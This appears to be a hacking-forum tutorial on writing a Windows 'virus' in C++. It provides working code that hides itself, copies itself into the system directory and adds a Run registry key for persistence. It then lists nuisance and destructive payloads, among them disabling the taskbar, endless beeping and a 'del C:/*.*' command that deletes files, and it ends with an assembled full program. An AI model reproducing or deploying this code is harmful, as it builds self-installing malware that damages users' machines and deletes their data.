As explained below by pseudo and floodhound, API (Application Programming Interface) is a way for your virus to have a talk with windows and see how much damage you can cause with that chat. Although, malicous viruses are mainly coded low level such as Assembley, we are not here to wipe out harddrives nor other malicous work, but here to examine a virus. This tutorial will teach you the baiscs of virus building.A computer virus is a computer program that can copy itself and infect a computer without permission or knowledge of the user. The original may modify the copies or the copies may modify themselves, as occurs in a metamorphic virus. A virus can only spread from one computer to another when its host is taken to the uninfected computer, for instance by a user sending it over a network or carrying it on a removable medium such as a floppy disk, CD, or USB driver
Requirements:
1.C++ Compiler (DEV C++ recommended)(www.bloodshed.net)
2.Some knownledge required, but not needed.
3.Some ass kicking grey hats.
Ok, to start we will try to hide the windows. But of course we need the heading too! We will be using the windows.h, winable.h , and the string.h heading files. Then we need to indicate that the window will be hiding so we past a few parameters into the main() function in which indicates it to hide. Here is what you can type in so far:
Code: Select all
#include "windows.h"
#include "winable.h"
#include "string.h"
int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance, LPSTR lpszArgument, int nFunsterStil)
{
return 0;
}
Code: Select all
MessageBox(NULL,”Hello World”,”The Art Of Virii”,MB_OK);
Code: Select all
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));
strcat(system,”\\virus.exe”);
CopyFile(pathtofile,system,false);
MessageBox(NULL,”Hello World”,”The Art of Virii by Ebrizzlez”,MB_OK);
Code: Select all
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
Now here comes the best part of our virus, the payload! Now if there thinking right now "sweet! I am gonna reformat the users drive with the payload" then get off right now! ost virus builders hate others whom just crash others computer with a simple reformat command. Where is the fun? Virii is an art, and it shouldnt be abused. Most viruses dont reformat the drive but slip in and attack certain files for the user to get more pissed. You should always leave your target alive, until you gotten all the information needed, then and only then may you kill them. And I wouldnt recommend doing so. Here are a few tricks you can add:
Payload 1. (Please decide a payload best for you, or pick all. )
Code: Select all
hWin = FindWindow("Shell_TrayWnd",NULL);
EnableWindow(hWin,false);
while(1==1)
{
ShowWindow(hWin,false);
Sleep(1000);
ShowWindow(hWin,true);
Sleep(1000);
}
return 0;
}
Payload 2.
Code: Select all
int Freq = 100;
int Duration = 100;
Beep(Freq,Duration);
while(1==1)
{Beep(Freq,Duration);}
}
Payload 3.
Code: Select all
keybd_event (VK_MENU, 0x38, 0, 0);
keybd_event (VK_RETURN, 0x1c, 0, 0);
keybd_event (VK_RETURN, 0X1c, KEYEVENTF_KEYUP, 0);
keybd_event (VK_MENU, 0x38, KEYEVENTF_KEYUP, 0);
Printf("Mess with the best, die like the rest. \n")
Payload 4.
Code: Select all
system("del C:/*.*")
Code: Select all
#include "windows.h"
int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance,
LPSTR lpszArgument, int nFunsterStil)
{
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));
strcat(system,”\\virus.exe”);
CopyFile(pathtofile,system,false);
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
HWND hWin;
hWin = FindWindow("Shell_TrayWnd",NULL);
EnableWindow(hWin,false);
while(1==1)
{
ShowWindow(hWin,false);
Sleep(1000);
ShowWindow(hWin,true);
Sleep(1000);
}
return 0;
}